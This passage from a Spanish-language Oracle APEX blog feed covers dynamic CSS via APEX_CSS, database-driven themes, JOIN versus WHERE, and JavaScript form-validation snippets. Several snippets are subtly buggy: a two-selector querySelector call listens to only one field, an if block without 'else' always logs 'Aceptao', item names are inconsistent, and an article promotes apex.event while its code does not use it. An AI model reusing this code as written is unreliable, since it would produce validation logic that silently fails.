    <span class="hljs-keyword">SELECT</span> CSS_BLOC
      <span class="hljs-keyword">INTO</span> l_css
      <span class="hljs-keyword">FROM</span> APP_CSS_BLOC
     <span class="hljs-keyword">WHERE</span> ACTI = <span class="hljs-string">'Y'</span>
       <span class="hljs-keyword">AND</span> <span class="hljs-keyword">ROWNUM</span> = <span class="hljs-number">1</span>;

    <span class="hljs-comment">-- Inyecta el CSS en tiempo de ejecución usando APEX_CSS</span>
    apex_css.add(p_css =&gt; l_css);

<span class="hljs-keyword">END</span>;
</code></pre>
<h3 id="heading-que-hace-este-codigo">¿Qué hace este código?</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762559399988/91c86656-002a-4e65-a957-265c59c864ff.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>Consulta la tabla para obtener el CSS que tenga ACTI = 'Y'.</p>
</li>
<li><p>Usa apex_css.add para <strong>inyectarlo dinámicamente</strong> en la página al momento de renderizar.</p>
</li>
<li><p>Así, el tema activo se aplica automáticamente sin editar archivos estáticos.</p>
</li>
</ol>
<h2 id="heading-3-cambiar-el-tema-desde-la-base-de-datos">3. Cambiar el tema desde la base de datos</h2>
<p>Podés crear una sencilla página de administración donde el usuario elija el tema activo:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">update</span> APP_CSS_BLOC
   <span class="hljs-keyword">set</span> ACTI = <span class="hljs-keyword">case</span>
                <span class="hljs-keyword">when</span> <span class="hljs-keyword">id</span> = :P1_TEMA_ACTUAL <span class="hljs-keyword">then</span>
                 <span class="hljs-string">'Y'</span>
                <span class="hljs-keyword">else</span>
                 <span class="hljs-string">'N'</span>
              <span class="hljs-keyword">end</span>
<span class="hljs-keyword">where</span> <span class="hljs-keyword">id</span>=:P1_TEMA_SELECCIONADO;
</code></pre>
<p>Y al recargar la aplicación, el nuevo CSS se aplicará automáticamente.<br />Esto hace posible cambiar el aspecto de toda la aplicación <strong>en tiempo real y sin despliegues</strong>.</p>
<h2 id="heading-resultado">Resultado</h2>
<ul>
<li>Puedes cambiar de temas sin modificar la plantilla.</li>
</ul>
<p>¡Todo controlado desde la base de datos!</p>
<h2 id="heading-conclusion">Conclusión</h2>
<p>Con este enfoque, <strong>APEX_CSS</strong> deja de ser solo una herramienta para pequeños retoques visuales:<br />se convierte en un <strong>mecanismo de personalización dinámica y administrable</strong> directamente desde la base de datos.</p>
<p>Este patrón es ideal para:</p>
<ul>
<li><p>Aplicaciones multiempresa o con branding personalizable.</p>
</li>
<li><p>Portales donde el administrador define los colores o temas.</p>
</li>
<li><p>Entornos donde se busca independencia del equipo de diseño.</p>
</li>
</ul>
<p>¿Te gustó este contenido? Dejá un comentario, compartilo con tu equipo o Invitame un cafe.</p>
<div class="hn-embed-widget" id="devs"></div>]]></content:encoded></item><item><title><![CDATA[APEX_CSS: aplica estilos dinámicos en Oracle APEX con PL/SQL]]></title><description><![CDATA[APEX combina la simplicidad del desarrollo declarativo con la potencia del PL/SQL, pero cuando queremos dar personalidad visual dinámica a nuestras apps entra en juego una joya poco explotada: el paquete APEX_CSS.
Pero… ¿Que puedo hacer con este paqu...]]></description><link>https://www.paraguayandev.com/apexcss-aplica-estilos-dinamicos-en-oracle-apex-con-plsql</link><guid isPermaLink="true">https://www.paraguayandev.com/apexcss-aplica-estilos-dinamicos-en-oracle-apex-con-plsql</guid><category><![CDATA[Apex]]></category><category><![CDATA[CSS]]></category><category><![CDATA[UI]]></category><category><![CDATA[UI Design]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Wed, 05 Nov 2025 19:14:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762370054116/053da410-2cc6-4d74-a1f9-ebf6a033254f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>APEX combina la simplicidad del desarrollo declarativo con la potencia del PL/SQL, pero cuando queremos dar personalidad visual dinámica a nuestras apps entra en juego una joya poco explotada: el paquete APEX_CSS.</p>
<h1 id="heading-pero-que-puedo-hacer-con-este-paquete">Pero… ¿Que puedo hacer con este paquete?</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762366203872/21e466ea-94e1-4cbc-9f4c-9a6ae1c5fa0b.png" alt class="image--center mx-auto" /></p>
<p>Con APEX_CSS podés inyectar codigo CSS desde PL/SQL, incluso a partir de datos almacenados en tablas, lo que abre la puerta a un diseño completamente configurable desde la base de datos.</p>
<p>Desde que se introdujo representa un paso importante hacia la personalización dinámica de interfaces desde el propio motor PL/SQL. Este paquete permite inyectar, modificar o eliminar reglas CSS directamente en tiempo de ejecución, sin necesidad de archivos estáticos ni hojas de estilo predefinidas. Es totalmente compatible con las versiones 23.x y 24.x, y su ámbito de acción se limita a la sesión actual del usuario, lo que garantiza que los estilos aplicados de forma dinámica se eliminen automáticamente al cerrar la sesión.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762366327201/a75686af-1419-4723-afbc-b52042ae62e5.png" alt class="image--center mx-auto" /></p>
<p>El paquete se ejecuta dentro del ciclo de renderización de APEX, por lo que puede usarse en procesos “Before Header”, “Before Regions” o incluso desde acciones dinámicas (Dynamic Actions, siempre y cuando se realice el render de la pagina, submit), permitiendo que los cambios de estilo respondan a eventos del usuario o condiciones lógicas del backend.</p>
<h3 id="heading-ejemplo">Ejemplo</h3>
<p>En la pagina de APEX en la cual queremos aplicar el paquete creamos un proceso, en este caso en el BEFORE HEADER</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762368156338/b181d242-39a1-4258-87a7-0c7674162c11.png" alt class="image--center mx-auto" /></p>
<p>Lo nombramos como mejor nos parezca, el “Type“ debe ser Excecute code</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762368232842/89960662-324c-4f57-9cbc-578a252fe052.png" alt class="image--center mx-auto" /></p>
<p>En el PL/SQL Code</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762368308826/41ae99a7-bc88-484c-990a-11659e337565.png" alt class="image--center mx-auto" /></p>
<p>Colocamos este codigo</p>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
    <span class="hljs-comment">-- Verifica el usuario autenticado actual en la sesión APEX</span>
    <span class="hljs-keyword">IF</span> :APP_USER = <span class="hljs-string">'ADMIN'</span> <span class="hljs-keyword">THEN</span>
        <span class="hljs-comment">-- Si el usuario es ADMIN, aplica un fondo oscuro (tono corporativo)</span>
        apex_css.add(
            p_css =&gt; <span class="hljs-string">'body { background-color: #5c4543; }'</span>
        );        
    ELSE        
        <span class="hljs-comment">-- Para el resto de los usuarios, aplica un fondo claro (tono cálido)</span>
        apex_css.add(
            p_css =&gt; 'body { background-color: <span class="hljs-comment">#fff4e6; }'</span>
        );        
    <span class="hljs-keyword">END</span> <span class="hljs-keyword">IF</span>;
<span class="hljs-keyword">END</span>;
</code></pre>
<p>Al ejecutar la pagina si el :APP_USER es ADMIN se mostraria de esta manera</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762368468305/bae2f6ba-75d0-44f2-9fb5-b683f86093b0.png" alt class="image--center mx-auto" /></p>
<p>Y si no de esta manera</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762368503493/29ad5c27-ba0b-44bd-9e7f-f05bb4bf9ba9.png" alt class="image--center mx-auto" /></p>
<p>Este código se ejecuta durante la fase de renderización de la página en un proceso “Before Header”, pero puede ejecutarse tambien en el “After Header“, donde el motor de APEX genera el HTML que el usuario verá en el navegador.<br />Mediante el paquete APEX_CSS, el bloque inyecta una regla CSS directamente en el documento, sin depender de archivos externos ni temas adicionales.</p>
<p>La clave está en la función apex_css.add, que toma el parámetro p_css —un bloque de código CSS en texto plano— y lo añade al contenido de la página antes de ser enviada al cliente.<br />De esta forma, cada usuario puede tener un entorno visual adaptado a su perfil, sin alterar la estructura base del tema APEX.</p>
<p>Con esto concluimos que el paquete APEX_CSS demuestra que Oracle APEX no solo es una plataforma declarativa para crear aplicaciones empresariales rápidamente, sino también una herramienta altamente flexible y programable.<br />Al permitirnos inyectar o modificar estilos CSS directamente desde PL/SQL, podemos adaptar la interfaz a cada usuario, contexto o flujo del negocio, sin tocar el código fuente del tema ni alterar la estructura de la página.</p>
<p>Este enfoque resulta ideal para proyectos donde la personalización visual dinámica aporta valor —por ejemplo, distinguir perfiles de usuario, marcar estados del sistema o aplicar temas personalizados sin mantenimiento manual—.<br />Además, su compatibilidad con versiones modernas como APEX 23.x y 24.x lo convierte en un recurso confiable y vigente para desarrollos actuales.</p>
<p><strong>¿Te gustó este contenido?</strong><br />Sigueme para más artículos sobre Oracle APEX, desarrollo PL/SQL y personalización visual paso a paso.</p>
<p>En el próximo post vamos a ver cómo consultar y aplicar CSS almacenado en tablas usando APEX_CSS.<br />¡No te lo pierdas!</p>
<div class="hn-embed-widget" id="devs"></div>]]></content:encoded></item><item><title><![CDATA[JOIN vs WHERE en Oracle SQL: Evitá horrores, mejora el rendimiento y escribe código más limpio]]></title><description><![CDATA[Cuando trabajamos con bases de datos en Oracle, una de las decisiones más comunes (y muchas veces subestimadas) es cómo unir tablas en una consulta SQL. Aunque existen distintas formas de hacerlo, utilizar JOIN explícitos en lugar de unir con condici...]]></description><link>https://www.paraguayandev.com/join-vs-where-en-oracle-sql-evita-horrores-mejora-el-rendimiento-y-escribe-codigo-mas-limpio</link><guid isPermaLink="true">https://www.paraguayandev.com/join-vs-where-en-oracle-sql-evita-horrores-mejora-el-rendimiento-y-escribe-codigo-mas-limpio</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[optimization]]></category><category><![CDATA[PL/SQL]]></category><category><![CDATA[SQL]]></category><category><![CDATA[Oracle]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Tue, 22 Apr 2025 23:27:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745362833288/9d40e38f-0830-43f8-acba-c18d59508bae.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cuando trabajamos con bases de datos en Oracle, una de las decisiones más comunes (y muchas veces subestimadas) es cómo unir tablas en una consulta SQL. Aunque existen distintas formas de hacerlo, utilizar JOIN explícitos en lugar de unir con condiciones = dentro del WHERE es considerado una buena práctica por varias razones. En este artículo te explico por qué, con ejemplos y consejos adicionales para mejorar el rendimiento y la claridad de tu código SQL.</p>
<h3 id="heading-1-claridad-y-legibilidad-del-codigo">1. Claridad y legibilidad del código</h3>
<p>Una consulta con JOIN explícitos separa claramente la lógica de relación entre tablas de los filtros de la consulta. Esto no solo hace que el código sea más fácil de leer, sino también de mantener.</p>
<pre><code class="lang-sql"><span class="hljs-comment">-- Método moderno y claro</span>
<span class="hljs-keyword">select</span> e.nombre, d.nombre
  <span class="hljs-keyword">from</span> empleados e
  <span class="hljs-keyword">join</span> departamentos d
    <span class="hljs-keyword">on</span> e.depto_id = d.id
 <span class="hljs-keyword">where</span> e.estado = <span class="hljs-string">'ACTIVO'</span>;

<span class="hljs-comment">-- Método antiguo y propenso a errores</span>
<span class="hljs-keyword">select</span> e.nombre, d.nombre
  <span class="hljs-keyword">from</span> empleados e, departamentos d
 <span class="hljs-keyword">where</span> e.depto_id = d.id
   <span class="hljs-keyword">and</span> e.estado = <span class="hljs-string">'ACTIVO'</span>;
</code></pre>
<h3 id="heading-2-evita-errores-de-producto-cartesiano">2. Evitá errores de producto cartesiano</h3>
<p>Cuando se usa el estilo antiguo (múltiples tablas separadas por comas en el FROM) y se olvida alguna condición de unión en el WHERE, se puede generar un producto cartesiano, combinando cada fila de una tabla con todas las filas de la otra. Esto puede resultar en miles o millones de registros innecesarios y afectar gravemente el rendimiento.</p>
<h4 id="heading-por-que-sucede-esto">¿Por qué sucede esto?</h4>
<p>Cuando escribís algo como:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> *
<span class="hljs-keyword">FROM</span> empleados e, departamentos d;
</code></pre>
<p>Oracle no sabe cómo relacionar empleados con departamentos, así que hace todas las combinaciones posibles. Por ejemplo:</p>
<ul>
<li>Si empleados tiene 100 filas y departamentos tiene 10, el resultado va a tener 1000 filas.</li>
</ul>
<p>Este efecto no es un error del motor, sino el comportamiento lógico esperado cuando no hay condiciones de unión. Es por eso que:</p>
<ul>
<li>Si te olvidás de una condición como e.depto_id = d.id, el motor igual ejecuta la consulta, pero produce una cantidad inesperada de resultados, generando un gran impacto en el rendimiento.</li>
</ul>
<pre><code class="lang-sql"><span class="hljs-comment">-- Esto genera un producto cartesiano</span>
<span class="hljs-keyword">SELECT</span> *
<span class="hljs-keyword">FROM</span> empleados e, departamentos d
<span class="hljs-keyword">WHERE</span> e.estado = <span class="hljs-string">'ACTIVO'</span>;
</code></pre>
<h3 id="heading-3-control-total-con-tipos-de-join">3. Control total con tipos de JOIN</h3>
<p>El uso de JOIN explícitos te permite aplicar distintos tipos de combinaciones:</p>
<ul>
<li><p>INNER JOIN: solo los registros coincidentes.</p>
</li>
<li><p>LEFT JOIN: todos los registros de la tabla izquierda, aunque no haya coincidencia.</p>
</li>
<li><p>RIGHT JOIN, FULL OUTER JOIN, etc.</p>
</li>
</ul>
<p>Esto no es posible (o es muy confuso) con uniones implícitas mediante el <code>WHERE</code>.</p>
<pre><code class="lang-sql"><span class="hljs-comment">-- LEFT JOIN para obtener empleados aunque no tengan departamento asignado</span>
<span class="hljs-keyword">SELECT</span> e.nombre, d.nombre <span class="hljs-keyword">AS</span> depto
<span class="hljs-keyword">FROM</span> empleados e
<span class="hljs-keyword">LEFT</span> <span class="hljs-keyword">JOIN</span> departamentos d <span class="hljs-keyword">ON</span> e.depto_id = d.id;
</code></pre>
<h3 id="heading-4-estandares-modernos-y-portabilidad">4. Estándares modernos y portabilidad</h3>
<p>JOIN es parte del estándar ANSI SQL, lo que significa que tu consulta va a funcionar igual (o con mínimos cambios) en otros motores de base de datos como PostgreSQL, MySQL, SQL Server, etc.</p>
<h3 id="heading-5-mejora-el-rendimiento-en-consultas-complejas">5. Mejora el rendimiento en consultas complejas</h3>
<p>Aunque Oracle puede optimizar ambos estilos, en consultas con muchas tablas, subconsultas o OUTER JOINs, los JOIN explícitos facilitan que el optimizador de Oracle genere un plan de ejecución más eficiente.</p>
<p><strong>Consejo:</strong> Siempre verificá el plan de ejecución (EXPLAIN PLAN) para ver cuántas combinaciones está haciendo Oracle y ajustar tu consulta en base a eso.</p>
<h3 id="heading-otros-tips-de-optimizacion-en-oracle-sql">Otros tips de optimización en Oracle SQL</h3>
<ul>
<li><p><strong>Usá</strong> EXISTS <strong>en lugar de</strong> IN cuando consultes subqueries correlacionadas.</p>
</li>
<li><p><strong>Evitá funciones en columnas indexadas</strong> en el WHERE para no romper el índice.</p>
</li>
<li><p><strong>Utilizá</strong> WITH <strong>(subqueries fijas)</strong> para reutilizar lógicas en varias partes del query.</p>
</li>
<li><p><strong>No uses</strong> SELECT * <strong>en producción</strong>: seleccioná solo las columnas necesarias.</p>
</li>
<li><p><strong>Agregá hints (</strong>/*+ */<strong>) si necesitás controlar el plan de ejecución</strong> en situaciones muy específicas.</p>
</li>
</ul>
<h3 id="heading-conclusion">Conclusión</h3>
<p>Usar JOIN en lugar de condiciones en el WHERE no solo es más legible, sino también más seguro y eficiente. En ambientes empresariales donde el rendimiento y la claridad del código son clave, seguir estas buenas prácticas puede ahorrarte horas de depuración y optimización. Empezá hoy mismo a escribir tus consultas con JOIN explícitos, y sentí la diferencia.</p>
]]></content:encoded></item><item><title><![CDATA[Manejo de Errores y Mejora de UX en Oracle APEX con apex.event]]></title><description><![CDATA[Introducción
Una buena experiencia de usuario (UX) no solo mejora la usabilidad de una aplicación, sino que también previene errores y reduce frustraciones. En Oracle APEX, la API apex.event nos permite gestionar eventos de manera eficiente para evit...]]></description><link>https://www.paraguayandev.com/manejo-de-errores-y-mejora-de-ux-en-oracle-apex-con-apexevent</link><guid isPermaLink="true">https://www.paraguayandev.com/manejo-de-errores-y-mejora-de-ux-en-oracle-apex-con-apexevent</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[Oracle Cloud]]></category><category><![CDATA[Oracle Database]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Sun, 09 Feb 2025 16:37:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1739118941376/3b39e715-7134-4858-8103-b516e1282ae7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduccion">Introducción</h2>
<p>Una buena experiencia de usuario (UX) no solo mejora la usabilidad de una aplicación, sino que también previene errores y reduce frustraciones. En Oracle APEX, la API apex.event nos permite gestionar eventos de manera eficiente para evitar acciones no deseadas y optimizar la interacción del usuario. En este artículo, exploraremos cómo usar apex.event para prevenir errores comunes y mejorar la UX en nuestras aplicaciones.</p>
<h2 id="heading-casos-practicos-de-prevencion-de-errores">Casos Prácticos de Prevención de Errores</h2>
<h3 id="heading-1-evitar-el-envio-de-formularios-incompletos">🛑 1. Evitar el Envío de Formularios Incompletos</h3>
<p>Cuando un usuario intenta enviar un formulario sin completar los campos obligatorios, podemos deshabilitar el botón hasta que todos los datos sean correctos.</p>
<p><strong>Implementación:</strong></p>
<p>Agrega un botón "Enviar" con ID: btn_enviar.</p>
<p>Agrega dos campos de entrada: P18_NOMBRE y P18_EMAIL.</p>
<p>Usa el siguiente código en <strong>Ejecutar JavaScript &gt; Función y Declaración Global</strong>:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"DOMContentLoaded"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">// Función de validación del formulario</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">validarFormulario</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-comment">// Obtenemos los valores de los campos P18_NOMBRE y P18_EMAIL</span>
        <span class="hljs-keyword">let</span> nombre = $v(<span class="hljs-string">"P18_NOMBRE"</span>).trim();
        <span class="hljs-keyword">let</span> email = $v(<span class="hljs-string">"P18_EMAIL"</span>).trim();
        <span class="hljs-comment">// Obtenemos el botón de enviar</span>
        <span class="hljs-keyword">let</span> botonEnviar = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"btn_enviar"</span>);
        <span class="hljs-comment">// Deshabilitamos el botón si los campos están vacíos, habilitamos si no</span>
        botonEnviar.disabled = !(nombre !== <span class="hljs-string">""</span> &amp;&amp; email !== <span class="hljs-string">""</span>);
    }
    <span class="hljs-comment">// Usamos addEventListener para escuchar los eventos 'input' en los campos P1_NOMBRE y P1_EMAIL</span>
    <span class="hljs-built_in">document</span>.querySelector(<span class="hljs-string">"#P18_NOMBRE"</span>,<span class="hljs-string">"#P18_EMAIL"</span>).addEventListener(<span class="hljs-string">"input"</span>, validarFormulario);
    <span class="hljs-comment">//document.querySelector("#P18_EMAIL").addEventListener("input", validarFormulario);</span>
    <span class="hljs-comment">// Validamos el estado al cargar la página</span>
    validarFormulario();
});
</code></pre>
<p>🔹 <strong>Explicación:</strong></p>
<p>✔️ Escuchamos el evento ‘input’ en los campos P18_NOMBRE y P18_EMAIL.<br />✔️ Habilitamos el botón solo si ambos campos tienen contenido.<br />✔️ Al cargar la página, verificamos si el botón debe estar deshabilitado.</p>
<h3 id="heading-2-prevenir-la-perdida-de-datos-al-salir-sin-guardar">🚪 2. Prevenir la Pérdida de Datos al Salir sin Guardar</h3>
<p>Si el usuario intenta salir sin guardar cambios, podemos mostrar una alerta.</p>
<p><strong>Implementación:</strong></p>
<p>Agrega un formulario con campos editables.</p>
<p>Usa este código en <strong>Ejecutar JavaScript &gt; Función y Declaración Global</strong>:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"DOMContentLoaded"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">let</span> cambiosPendientes = <span class="hljs-literal">false</span>;
    <span class="hljs-comment">// Escuchar los cambios en los campos del formulario</span>
    <span class="hljs-built_in">document</span>.querySelector(<span class="hljs-string">"body"</span>).addEventListener(<span class="hljs-string">"input"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
        cambiosPendientes = <span class="hljs-literal">true</span>;  <span class="hljs-comment">// Se marca como verdadero cuando hay cambios</span>
    });
    <span class="hljs-comment">// Escuchar el evento beforeunload (antes de que la página se cierre o recargue)</span>
    <span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">"beforeunload"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">event</span>) </span>{
        <span class="hljs-keyword">if</span> (cambiosPendientes) {
            event.preventDefault();  <span class="hljs-comment">// Prevenir el comportamiento por defecto (cerrar la página)</span>
            <span class="hljs-comment">// En navegadores modernos, ya no se permite personalizar el mensaje, pero se sigue mostrando una alerta genérica</span>
        }
    });
});
</code></pre>
<p>🔹 <strong>Explicación:</strong></p>
<p>✔️ Escuchamos el evento input en cualquier campo del formulario.<br />✔️ Si hay cambios, activamos la advertencia antes de que el usuario cierre la pestaña.</p>
<h3 id="heading-3-deshabilitar-acciones-hasta-cumplir-condiciones">⛔ 3. Deshabilitar Acciones Hasta Cumplir Condiciones</h3>
<p>Si queremos que un botón solo esté activo cuando el usuario seleccione una opción válida en un Select List, podemos hacerlo con eventos.</p>
<p><strong>Implementación:</strong></p>
<p>Agrega un Select List con ID: P18_OPCION.</p>
<p>Agrega un botón con ID: btn_aceptar.</p>
<p>Usa el siguiente código en <strong>Ejecutar JavaScript &gt; Función y Declaración Global</strong>:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"DOMContentLoaded"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">validarSeleccion</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">let</span> seleccion = $v(<span class="hljs-string">"P18_OPCION"</span>);
        <span class="hljs-keyword">let</span> botonAceptar = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"btn_aceptar"</span>);
        botonAceptar.disabled = (seleccion === <span class="hljs-string">""</span>);
    }
    <span class="hljs-comment">// Usamos 'addEventListener' en lugar de 'apex.event.addListener'</span>
    <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"P18_OPCION"</span>).addEventListener(<span class="hljs-string">"change"</span>, validarSeleccion);
    <span class="hljs-comment">// Llamamos a la validación también al cargar la página para asegurar el estado del botón</span>
    validarSeleccion();
});
</code></pre>
<p>🔹 <strong>Explicación:</strong></p>
<p>✔️ Escuchamos cambios en el Select List.<br />✔️ Si no hay selección, deshabilitamos el botón.<br />✔️ Validamos también al cargar la página.</p>
<h3 id="heading-4-prevenir-el-envio-de-formularios-con-datos-incorrectos">4. Prevenir el Envío de Formularios con Datos Incorrectos</h3>
<p>Además de asegurarse de que los campos estén completos, también es importante validar el formato de los datos, como correos electrónicos o números telefónicos.</p>
<p><strong>Implementación:</strong></p>
<p>Agrega un campo de correo electrónico: P1_EMAIL.</p>
<p>Usa el siguiente código para validar el formato de correo electrónico antes de habilitar el botón de envío:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"DOMContentLoaded"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">validarEmail</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">let</span> email = $v(<span class="hljs-string">"P18_EMAIL2"</span>).trim();
        <span class="hljs-keyword">let</span> botonEnviar = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"btn_enviar_2"</span>);
        <span class="hljs-keyword">let</span> regex = <span class="hljs-regexp">/^[^\s@]+@[^\s@]+\.[^\s@]+$/</span>;
        botonEnviar.disabled = !regex.test(email);
    }
    <span class="hljs-comment">// Usamos 'addEventListener' en lugar de 'apex.event.addListener'</span>
    <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"P18_EMAIL2"</span>).addEventListener(<span class="hljs-string">"input"</span>, validarEmail);
    <span class="hljs-comment">// Llamamos a la validación también al cargar la página para asegurar el estado del botón</span>
    validarEmail();
});
</code></pre>
<p>🔹 <strong>Explicación:</strong></p>
<p>✔️ Verificamos el formato del correo electrónico utilizando una expresión regular.<br />✔️ Habilitamos el botón solo si el formato es correcto.</p>
<h3 id="heading-5-confirmacion-de-acciones-criticas">5. Confirmación de Acciones Críticas</h3>
<p>Si tu aplicación realiza acciones críticas, como eliminar un registro, es esencial confirmar con el usuario antes de continuar.</p>
<p><strong>Implementación:</strong></p>
<p>Añade un botón de eliminación: btn_eliminar.</p>
<p>Usa este código para mostrar una confirmación antes de proceder con la acción:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"DOMContentLoaded"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">// Usamos 'addEventListener' en lugar de 'apex.event.addListener'</span>
    <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"btn_eliminar"</span>).addEventListener(<span class="hljs-string">"click"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">event</span>) </span>{
        <span class="hljs-keyword">let</span> confirmacion = confirm(<span class="hljs-string">"¿Estás seguro de que deseas eliminar este registro?"</span>);
        <span class="hljs-keyword">if</span> (!confirmacion) {
            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Cancelao'</span>);
            event.preventDefault();  <span class="hljs-comment">// Cancela la acción si el usuario no confirma</span>
        }{
            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Aceptao'</span>);
        }
    });
});
</code></pre>
<p>🔹 <strong>Explicación:</strong></p>
<p>✔️ Usamos confirm() para mostrar un mensaje de confirmación.<br />✔️ Si el usuario no confirma, evitamos que la acción de eliminación se ejecute.</p>
<h3 id="heading-6-optimizacion-de-la-ux-con-mensajes-dinamicos">6. Optimización de la UX con Mensajes Dinámicos</h3>
<p>Agregar mensajes dinámicos, como notificaciones o mensajes de error/éxito, puede mejorar la interacción del usuario al proporcionar retroalimentación instantánea.</p>
<p><strong>Implementación:</strong></p>
<p>Usa este código para mostrar un mensaje de éxito cuando se envíe un formulario correctamente:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"DOMContentLoaded"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">// Usamos 'addEventListener' en lugar de 'apex.event.addListener'</span>
    <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"btn_enviar"</span>).addEventListener(<span class="hljs-string">"click"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-comment">// Supongamos que el formulario fue enviado correctamente</span>
        apex.message.showPageSuccess(<span class="hljs-string">"¡Formulario enviado con éxito!"</span>);
        <span class="hljs-comment">//otros mensajes serian</span>
        <span class="hljs-comment">//apex.message.showPageInfo("Este es un mensaje informativo.");</span>
        <span class="hljs-comment">//apex.message.showPageError("Ha ocurrido un error al enviar el formulario.");</span>
        <span class="hljs-comment">//apex.message.showPageWarning("Este es un mensaje de advertencia.");</span>
        <span class="hljs-comment">//descomentar y probar cada uno</span>
    });
});
</code></pre>
<p>🔹 <strong>Explicación:</strong></p>
<p>✔️ Proporcionamos retroalimentación al usuario tan pronto como se complete la acción.<br />✔️ apex.message.showPageSuccess(): Esta función muestra un mensaje de éxito en la parte superior de la página, lo cual es más adecuado para mostrar mensajes importantes a los usuarios en una aplicación APEX.<br />✔️ El uso de alertas simples o notificaciones también puede mejorar la percepción del rendimiento.</p>
<h2 id="heading-por-que-usar-apexevent-en-lugar-de-javascript-estandar-o-funciones-como-required">🧐 ¿Por qué usar apex.event en lugar de JavaScript estándar o funciones como required?</h2>
<h3 id="heading-1-integracion-directa-con-apex"><strong>1. Integración Directa con APEX</strong></h3>
<p>apex.event está diseñado específicamente para trabajar con eventos dentro de las aplicaciones creadas con Oracle APEX. Utilizar esta API te permite aprovechar la integración directa con el framework de APEX, lo cual:</p>
<ul>
<li><p><strong>Optimiza la interoperabilidad</strong> con otros componentes APEX.</p>
</li>
<li><p><strong>Facilita la gestión de eventos</strong> dentro de la propia plataforma, ya que no tienes que recurrir a manejar eventos manualmente como lo harías con JavaScript puro en un archivo externo.</p>
</li>
<li><p>Permite realizar acciones sobre elementos APEX (como campos de formulario o botones) de manera más eficiente, sin tener que buscar o acceder a elementos del DOM manualmente.</p>
</li>
</ul>
<h3 id="heading-2-mejora-de-la-usabilidad-y-ux-en-tiempo-real"><strong>2. Mejora de la Usabilidad y UX en Tiempo Real</strong></h3>
<p>Con apex.event, puedes reaccionar a eventos de forma dinámica y en tiempo real, mejorando la interacción con el usuario de una forma más fluida. Algunas ventajas son:</p>
<ul>
<li><p><strong>Interactividad instantánea:</strong> Puedes habilitar o deshabilitar botones, mostrar o esconder mensajes, o activar/validar campos al instante cuando el usuario interactúa con un formulario.</p>
</li>
